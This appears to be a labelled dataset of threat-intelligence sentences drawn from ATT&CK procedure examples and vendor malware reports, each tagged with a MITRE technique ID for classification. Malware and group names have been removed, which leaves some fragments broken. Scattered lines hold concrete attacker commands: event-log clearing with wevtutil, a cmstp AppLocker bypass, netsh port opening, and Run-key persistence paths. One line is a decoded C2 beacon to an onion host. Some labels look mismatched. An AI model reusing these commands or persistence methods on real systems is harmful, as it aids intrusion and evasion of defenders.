"has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.",T1083
has a feature to list the available services on the system.,T1007
has a hard-coded primary and backup C2 string.,T1008
"has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",T1011
has a plugin for VNC and Ammyy Admin Tool.,T1219
has a tool that can delete files.,T1070.004
has a tool that can obtain information about the local system.,T1082
has a tool that creates a new service for persistence.,T1543.003
has batch files that modify the system service COMSysApp to load a malicious DLL.,T1543.003
has been known to dump credentials.,T1003
has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.,T1546.015
"has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security.",T1070
has cleared event logs from victims.,T1070
has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.,T1039
"has created password-protected RAR, WinImage, and zip archives to be exfiltrated.",T1560 | T1486
has created scheduled tasks that run a VBScript to execute a payload on victim machines.,T1053.005
has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.,T1189
has downloaded and executed additional plugins.,T1105
has dropped binaries as files named microsoft_network.exe and crome.exe.,T1036
has encrypted its payload with RC4.,T1027
"has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.",T1203
has functionality to copy itself to removable media.,T1091
has gathered a process list by using .exe.,T1057
has gathered information about network IP configurations using .exe and about routing tables using .exe.,T1016
has has extensively used strategic Web compromises to target victims.,T1189
has leveraged both Spearphishing Link and Spearphishing Attachment attempting to gain User Execution.,T1204
has lured users to click links to malicious HTML applications delivered via spearphishing emails.,T1204
has obfuscated a script with Crypto Obfuscator.,T1027
has run ipconfig /all on a victim.,T1016
has sent spearphishing emails links and attachments attempting to get a user to click.,T1204
has sent spearphishing emails with attachments to victims as its primary initial access vector.,T1598.002
has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.,T1598.002
has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.,T1598.002
has sent spearphising emails with malicious links to potential victims.,T1598.003
has targeted manufacturers in the supply chain for the defense industry.,T1195
has the ability to enumerate files and drives.,T1083
has the ability to obtain a victim's system name and operating system version.,T1082
has the ability to remotely execute commands.,T1059
has the ability to search for a given process name in processes currently running in the system.,T1057
has the capability to delete files.,T1070.004
has the capability to download files to execute on the victim’s machine.,T1105
has the capability to execute the command net localgroup administrators.,T1069
has the capability to gather the OS version and computer name.,T1082
has the capability to obtain the time zone information and current timestamp of the victim’s machine.,T1124
has the capability to upload and download files to the victim's machine.,T1105
has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.,T1003
"has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook, Internet Explorer, and Windows Credential Store.",T1552.001
has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.,T1573
"""has used a VBScript named """"ggldr"""" that uses Google Apps Script, Sheets, and Forms services for C2.""",T1102
has used both HTTP and HTTPS for C2.,T1071
has used CHM files to move concealed payloads as part of.,T1218.001
has used command-line interfaces for execution.,T1059
has used CVE-2016-7255 to escalate privileges.,T1068
has used FTP to exfiltrate collected data.,T1048
has used HTTP and HTTPS for C2 communications.,T1071
has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.,T1547.009 | T1547.001
has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.,T1090
has used net user to conduct internal discovery of systems.,T1087
has used net use to conduct connectivity checks to machines.,T1049
has used PowerShell Empire.,T1059.001
"has used RAR to compress, encrypt, and password-protect files prior to exfiltration.",T1560 | T1486
has used RAR to compress files before moving them outside of the victim network.,T1560
has used Registry keys to detect and avoid executing in potential sandboxes.,T1518.001
has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.,T1547.001
has used remote code execution to download subsequent payloads.,T1105
has used rundll32.exe in a Registry value to establish persistence.,T1218.011
"has used scheduled task raw XML with a backdated timestamp of June 2, 2016.",T1070.006
has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.,T1598.003
"has used spearphishing with links to deliver files with exploits to initial victims. The group has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.",T1598.003
has used the command cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.,T1218.003
has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.,T1046
"has used  to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.",T1082
has used  to get information on processes.,T1057
"has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.",T1068
has used tools to perform keylogging.,T1056
has used valid accounts for privilege escalation.,T1078
has used watering holes to deliver files with exploits to initial victims.,T1189
has used WMI for execution.,T1047
hooks processes by modifying IAT pointers to CreateWindowEx.,T1056.004
identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.,T1083
"identifies files with certain extensions from USB devices, then copies them to a predefined directory.",T1083
"If running in a Windows environment,  saves a DLL to disk that is injected into the explorer.exe process to execute the payload.  can also be configured to inject and execute within specific processes.",T1055
"If the victim is using PowerShell 3.0 or later,  writes its decoded payload to an alternate data stream (ADS) named kernel32.dll that is saved in %PROGRAMDATA%\Windows\.",T1564.004
injects itself into the secure shell (SSH) process.,T1055
"""In one instance,  added  as a service with a display name of """"Corel Writing Tools Utility.""""""",T1036
installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.,T1070.004
installer uses WMI to search for antivirus display names.,T1047
"installs a service on the remote system, executes the command, then uninstalls the service.",T1569.002
installs itself as a service for persistence.,T1543.003
installs itself as a service to maintain persistence.,T1543.003
"""installs itself in %ALLUSERPROFILE%\\Application Data\Microsoft\MediaPlayer\updatewindws.exe; the directory name is missing a space and the file name is missing the letter """"o.""""""",T1036
installs VNC server software that executes through rundll32.,T1218.011
is a Web shell that appears to be exclusively used by . It is installed as an ISAPI filter on Exchange servers and shares characteristics with the  Web shell.,T1505.003
is capable of capturing keystrokes on victims.,T1056
is capable of capturing screenshots.,T1113
is capable of capturing video.,T1125
is capable of downloading a file from a specified URL.,T1105
is capable of enumerating Registry keys and values.,T1012
is capable of gathering system information.,T1082
"is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.",T1102
is capable of modifying the Registry.,T1112
is capable of providing Meterpreter shell access.,T1059
is capable of spawning a reverse shell on a victim.,T1059
is known to use PowerShell.,T1059.001
is loaded and executed by a highly obfuscated launcher.,T1027
is used for proxying connections to obfuscate command and control infrastructure.,T1090
It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the  malware.,T1072
launches a DLL file that gets executed as a service using svchost.exe,T1569.002
leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.,T1203
"leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.",T1106
lists local users and session information.,T1033
lists the current processes running.,T1057
lists the running processes on the system.,T1057
looked for a specific process running on infected servers.,T1057
"malware can download a remote access tool, NanoCore, and inject into another process.",T1055
malware can use cmd.exe to download and execute payloads and to execute commands on the system.,T1059
malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim’s machine.,T1059.001
"malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.",T1082
"malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers.  malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.",T1005
malware is capable of keylogging.,T1056
Malware used by  is capable of watching the victim's screen.,T1113
may collect process information by running tasklist on a victim.,T1057
may collect user account information by running net user /domain or a series of other commands on a victim.,T1087
may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{3 characters of Unique Identifier}.,T1547.001
may query the Registry by running reg query on a victim.,T1012
may use net start to display running services.,T1007
may use netstat -ano to display active network connections.,T1049
MISC::AddSid module can appended any SID or user/group account to a user's SID-History.  also utilizes  to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.,T1134.005
modified the Registry to perform multiple techniques through the use of .,T1112
modifies the tty_tickets line in the sudoers file.,T1548.003
"monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.",T1120
obfuscates C2 traffic with an altered version of base64.,T1001
obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum. Another  variant gathers the victim storage volume serial number and the storage device name.,T1082
obtains the target's IP address and local network segment.,T1016
One persistence mechanism used by  is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,T1547.001
"""One  variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value """"0x35"""".""",T1140
"One variant of  locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.",T1574.010
packed an executable by base64 encoding the PE file and breaking it up into numerous lines.,T1027.002
performs a connection test to discover remote systems in the network,T1018
performs code injection injecting its own functions to browser processes.,T1055
performs local network configuration discovery using ipconfig.,T1016
performs XOR encryption.,T1573
persists by creating a Registry entry in HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\.,T1547.001
persists through a scheduled task that executes it every minute.,T1053.005
places scripts in the startup folder for persistence.,T1547.001
presents an input prompt asking for the user's login and password.,T1056
prompts the user for credentials.,T1056
prompts the users for credentials.,T1056
provides command-line access to the compromised system.,T1059
queried the Registry to identify victim information.,T1012
"regained access after eviction via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host.",T1133
regularly deploys both publicly available and custom password retrieval tools on victims.,T1003
removed certain files and replaced them so they could not be retrieved.,T1070.004
Responses from the  C2 server are base32-encoded.,T1132
runs the command net start on a victim.,T1007
saves information from its keylogging routine as a .zip file in the present working directory.,T1074
"""saves itself with a leading """"."""" to make it a hidden file.""",T1564.001
"saves one of its files as mpr.dll in the Windows folder, masquerading as a legitimate library file.",T1036
scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.,T1083
scans to identify open ports on the victim.,T1046
scrapes memory for properly formatted payment card data.,T1005
searches and reads the value of the Windows Update Registry Run key.,T1012
searches for files on the victim's machine.,T1083
"searches for interesting files (either a default or customized set of file extensions) on the local system.  will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories.  also collects information stored in the Windows Address Book.",T1005
searches through connected drives for removable storage devices.,T1120
"searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.",T1083
selective infector modifies executables stored on removable media as a method of spreading across computers.,T1091
sends collected files back over same C2 channel.,T1041
sent emails to victims with malicious Microsoft Office documents attached.,T1598.002
sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.,T1598.002
Several commands are supported by the 's implant via the command-line interface and there’s also a utility to execute any custom command on an infected endpoint.,T1059
Several  malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by  also gathers process times.,T1057
Some  samples encrypt C2 communications with RC4.,T1573
"Some  strings are base64 encoded, such as the embedded DLL known as MockDll.",T1027
"Some  variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.",T1036
Some  variants establish persistence by modifying the Registry key HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Run:%appdata%\NeutralApp\NeutralApp.exe.,T1547.001
Some  variants incorporate an MBR rootkit.,T1542.003
Some  variants use port 8088 for C2.,T1571
stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.,T1553.002
"""stages data it copies from the local system or removable drives in the """"%WINDIR%\$NtUninstallKB885884$\"""" directory.""",T1074
steals credentials stored inside Internet Explorer.,T1003
steals user files from removable media with file extensions and keywords that match a predefined list.,T1025
stole domain credentials from Microsoft Active Directory Domain Controller and leveraged .,T1003
stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.,T1564.004
"strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.",T1027
supports peer connections.,T1090
surveys a system upon check-in to discover running processes using the tasklist /v command.,T1057
takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.,T1113
takes periodic screenshots and exfiltrates them.,T1113
takes screenshots of the user's desktop.,T1113
"tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",T1008
"The  backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.",T1505.003
The C2 server used by  provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.,T1008
The  credential dumper contains an implementation of an SSP.,T1547.005
The  credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.,T1098
The executable version of  has a module to log clipboard contents.,T1115
The  group is known to have used RDP during operations.,T1021.001
The  malware platform uses Extended Attributes to store encrypted executables.,T1564.004
The  malware uses custom Base64 encoding schemes to obfuscate data command and control traffic in the message body of HTTP requests.,T1001
"the victim's internal network for hosts with ports 8080, 5900, and 40 open.",T1046
"To move laterally on a victim network,  has used credentials stolen from various systems on which it gathered usernames and password hashes.",T1078
Tools used by  are capable of downloading and executing additional payloads.,T1105
TRINITY malware used by  encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the OxAA key.,T1486
uploads files from a specified directory to the C2 server.,T1005
used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine.,T1016
"used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable .",T1221
used a proxy server between victims and the C2 server.,T1090
used a signed credential-dumping tool to obtain victim account credentials.,T1003
used a tool called MailSniper to search through the Exchange server mailboxes for keywords.,T1114
used a valid AppleDeveloperID to sign the code to get past security restrictions.,T1553.002
used batch scripts to enumerate administrators in the environment.,T1069
used HTTP for C2 communications.  also used an HTTP malware variant to communicate over HTTP for C2.,T1071
used legitimate programs such as AmmyAdmin and Team Viewer for remote interactive C2 to target systems.,T1219
used Microsoft’s Sysinternals tools to gather detailed information about remote systems.,T1018
used net use commands to connect to lateral systems within a network.,T1021.002
used spearphishing with Microsoft Office attachments to target victims.,T1598.002
used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.,T1003
uses a backdoor known as BADFLICK that is is capable of generating a reverse shell.,T1059
uses a command prompt to run a PowerShell script from Excel.,T1059
"uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.",T1071
uses AES to encrypt C2 traffic.,T1573
uses an XOR 0x1 loop to encrypt its C2 domain.,T1573
uses basic obfuscation in the form of spaghetti code.,T1027
uses cmd.exe to execute netshcommands.,T1059
uses custom encryption for C2 using 3DES and RSA.,T1573
uses HTTP/HTTPS for command and control communication.,T1071
uses HTTP for command and control.,T1071
uses multiple proxies to obfuscate network traffic from victims.,T1090
uses net.exe to connect to network shares using net use commands with compromised credentials.,T1021.002
"uses PowerShell to execute various commands, one to execute its payload.",T1059.001
uses raw sockets to communicate with its C2 server.,T1095
uses RC4 to encrypt C2 responses.,T1573
"uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.",T1218.011
uses tasklist /svc to display running tasks.,T1007
"""uses the command cmd.exe /c netsh firewall add portopening TCP 443 """"adp"""" and makes the victim machine function as a proxy server.""",T1090
uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.,T1027.002
uses  to list TCP connection status.,T1049
uses  to perform remote service manipulation to execute a copy of itself as part of lateral movement.,T1569.002
"uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.",T1114
uses various XOR techniques to obfuscate its components.,T1027
uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.,T1021.002
uses WMI to perform process monitoring.,T1047
variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.,T1218.010
version of  communicates with their server over a TCP port using HTTP payloads Base64 encoded and suffixed with the string “&&&”,T1071
"When it first starts,  spawns a new thread to log keystrokes.",T1056
"When the  command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.",T1001
will delete files on the system.,T1070.004
will zip up the /Library/Keychains directory before exfiltrating it.,T1560
writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.,T1486
"[2] Threat groups use strategic web compromises (SWCs), also known as watering hole attacks, to target a wide array of potential victims",T1189
"The majority of ActiveX Objects created with Wscript.Shell and Shell.Application are used to run programs, create shortcuts, manipulate the contents of the registry, or access system folders",T1059
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4),T1059
Gather network addresses and operating system version Execute arbitrary commands using “cmd.exe /c”  The capability to execute system commands,T1059
Both variants need to be executed with the command line argument “[2]” to avoid continually attempting to copy and execute the Trojan using the “tmp.vbs” and “tmp1.vbs” files,T1059
/user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser cmd /c <command>: Executes command on infected endpoint   Conclusion  The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer,T1059
"Traps provides endpoint protection, as it can block Excel from creating a command prompt process",T1059
Access remote objects interactively from the pupy shell and get auto-completion of remote attributes,T1059
"It is used to create new processes, perform as a command line shell, and several other tasks",T1059
"We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor, as seen in Table 1",T1059
The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload,T1027
The code is obfuscated in order to hide any malicious activity on the remote server,T1027
This strangeness was related to values listed in newer BlackEnergy configuration files,T1027
These requests are encrypted using the RC4 algorithm,T1027
"The launcher module, obfuscated with the notorious Metasploit’s shikata_ga_nai encoder, is the same for all the droppers",T1027
"After decompiling it from the PE file, it is heavily obfuscated and still almost unreadable.We deobfuscated the script to understand how the infection process works",T1027
"Code snippet of the obfuscated document After deobfuscation, we can see that the payload is written in the Perl programming language",T1027
"Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation",T1027
"The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run",T1027
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation,T1027
"Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex",T1027
The C&C server then replies with the encrypted serialized configuration,T1027
The payload (abbad7acd…) is an executable that appears to have been created by a VBScript to Executable tool and further obfuscated with a cryptor,T1027
"Navigating to the web page manually to view:source reveals the code, which at the time of writing happened to not be obfuscated in any significant way",T1027
"The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters.",T1027
"""The """"Blackwater.bas"""" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer.""",T1027
Note that every string is decrypted with different XOR parameter which may fail some of the automatic analyzers.,T1027
"Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post",T1016
"By running SSH on the server in a compromised network, attackers can come back to the network whenever they want",T1016
"Regular Expressions   ([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})   Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})   ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   (\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)   Address:\\s+(\\d+.\\d+.\\d+.\\d+)    Table 3 Regular expressions used by RogueRobin The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers",T1016
DHS and FBI are distributing these IP addresses to enable network defense activities and reduce exposure to the DDoS command-and-control network,T1016
"RATANKBA looking for specific IP ranges Our analysis of samples of the hack tool (HKTL_NBTSCAN.GA and HKTL_NBTSCAN.GB) indicate it as a command-line program that scans IP networks for NetBIOS information such as IP address, NetBIOS computer name, logged-in username, and MAC address—with some of the information coming from the initial RATAKNBA installation",T1016
"Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings",T1016
"(Source: Dell SecureWorks) Appendix D — Domain name parking example CTU researchers have observed TG-3390 parking domains by pointing their A record to a non-routable IP space, including the 127.0.0.[x] loopback address",T1016
Trickbot uses this encrypted module to scan the network and steal relevant network information.,T1016
"The majority of businesses still maintain Windows-heavy user environments where certain core infrastructure components also operate under Windows servers (e.g., Active Directory, SharePoint, etc.)",T1010
"Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments.) How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others",T1010
LANS Deletes the file created by the LAN command to reverse the effect,T1070.004
USBS Deletes the file created by the USB command to reverse the effect,T1070.004
DEL Deletes a specified file,T1070.004
"After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes:  Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution",T1070.004
"Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: Backdoor.Win32.Nhopro HEUR:Backdoor.Win32.Nhopro.gen HEUR:Hacktool.Win32.Nhopro.gen How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms",T1070.004
Both “%APPDATA%\\Microsoft\Windows\Cookies.txt” and “%APPDATA%\\Microsoft\Windows\Cookies.exe” are then deleted,T1070.004
"Once they are deleted by the attackers’ code, there is nothing left to be forensically recovered.",T1070.004
"OSinfo: OSInfo is a general purpose, system information gathering tool",T1082
"infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information",T1082
"""POST /api/osx/started HTTP/1.1Host: r2elajikcosf7zee.onion.toAccept: */*Content-Length: 233Content-Type: application/x-www-form-urlencodedbot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&amp;data=psX0DKYB0u...5TximyY%2BQY%3D     Figure 10: Malware sending initial information       &gt; rc4decrypt(base64decode(""""psX0DKYB0u...5TximyY+QY=""""), """"u2RLhh+!LGd9p8!ZtuKcN"""")device_model=MacBookPro9,2bot_version=1.3.5build_name=elitef*ckos_version=15.5.0ip_address=4.5.6.7has_root=0     Figure 11: Decoded data sent to C&C The bot_id is constructed by hashing the following values with SHA-256:  The hardware UUID (IOPlatformUUID) The system serial number (IOPlatformSerialNumber) The model identifier of the Mac (e.g.: MacBookPro9,2)  Most actions are self-explanatory""",T1082
"This information allows a threat actor to determine if their messages were delivered, which users are more susceptible to opening them, and basic information regarding the target’s operating system and e-mail client (or browser)",T1082
"The main purpose of the IGT tool is to make an inventory of the system, saving information from the network interfaces and addresses, credentials belonging to the Domain and database server, services being run from the OS and everything that could help the Poseidon Group make its attack more customized to its victim",T1082
"Two of them are MacOS X User-Agents and the third is a hashed string:  Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405   E9BC3BD76216AFA560BFB5ACAF5731A3   Figure 5: SpeakUp `s requests are encrypted with the salted base64 and include the unique User-Agent At the moment SpeakUp serves XMRig miners to its listening infected servers",T1082
This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017,T1124
"The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC",T1124
Cadelle and Chafer are most active during the day time within Iran’s time zone and primarily operate during Iran’s business week (Saturday through Thursday),T1124
"The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT",T1140
This function is able to obfuscate code so that every iteration of the code is presented differently,T1140
"The code comparison specifically shows the HighShell code including a salt variable containing di2zag7wZHTK9YR0NGq, which is not present within the TwoFace code on the left",T1140
"""Here is the code:The goal of this code is to get information from the properties of the document (""""Subject"""", """"Company"""", """"Category"""", """"Hyperlink base"""" and finally """"Comments"""")""",T1140
The Visual Basic macro performs the following tasks:  Opens a handle to the malicious document to read the encoded CAB file Decodes the CAB file and writes it to the disk at %temp%\setup.cab   Encoded CAB file in the Word document,T1140
"The most interesting part is the decrypted C&C configuration, as can be seen in the image below",T1140
"Backdoor analysis The main loop of the backdoor has two main functions, infoClient and runHandle",T1140
"To decode this information, BADNEWS takes the following steps:  Base64-decode the string Perform the decoding cipher used in previous versions Base64-decode the result Decrypt the result using the Blowfish algorithm and a static key  A script, which is included in the Appendix, will decrypt data from these dead drop resolvers",T1140
"The unique strings mainly consist of “Mobile/BADDAD“, “Mobile/7B405” and “E9BC3BD76216AFA560BFB5ACAF5731A3”",T1140
The decrypted contents of the log file adhere to the format in Figure 22,T1140
Decrypted OwaAuth log file format,T1140
"""""""Are you Happy?"""" campaign.""""FreeMilk"""" campaign.""""North Korean Human Rights"""" campaign.""""Evil New Year 2018"""" campaign.On January 2nd of 2018, the """"Evil New Year 2018"""" was started""",T1543 | T1543.003
"Figure 2: AuditCred/ROptimizer Service If successfully installed, this particular backdoor poses quite a threat to its target",T1543 | T1543.003
HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules,T1105
"The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.   The file’s path",T1105
The config file provides download instructions for the loader,T1105
"Using this information, they can decide to explore further or instruct the compromised computer to download additional malware",T1105
Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful,T1105
Figure 4: Downloading second stage Seminar.rtf The downloaded Seminar.rtf contains an embedded binary file that is dropped in %temp% via Equation Editor executable,T1105
"Anyconnect[.]stream Bigip[.]stream Fortiweb[.]download Kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win  The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system",T1105
2 Downloads a file to the system,T1105
"This includes, but is not limited to, the following:  AES encryption of network communication File management Functionality to download, upload, and execute files Keylogging Remote desktop access Remote webcam viewing Reverse proxy Browser and FTP client password recovery  The images below are what a target user opening a malicious RTF document would see from within Microsoft Word",T1105
"When opened and then executed, the key components of the HTA file downloads and executes further malware from a remote URLand loads a decoy image hosted externally (Figure 3)",T1105
Use of PowerShell to download additional tools,T1105
"The shellcode of the embedded object is designed to download an image, which is, in fact, a new shellcode used to decode an embedded executable",T1105
"BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2",T1071
"We recently mentioned this tool in another report on April 16, as this variant of the BONDUPDATER tool used DNS tunneling to communicate with its C2, specifically using TXT queries to receive information from the C2 server",T1071
"Server Command and control server that communicates via DNS tunneling   Panel Graphical User Interface that allows actors to issue commands, upload and download files to Agents via the Server    Table 2",T1071
The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts,T1071
Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests,T1071
Later variants upload the file to a web server via an HTTP post command,T1071
"All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests",T1071
"To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure: <system id>-<job ID>-<offset data specific to job>.<c2 domain> The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server",T1071
"For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request",T1071
"If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling",T1071
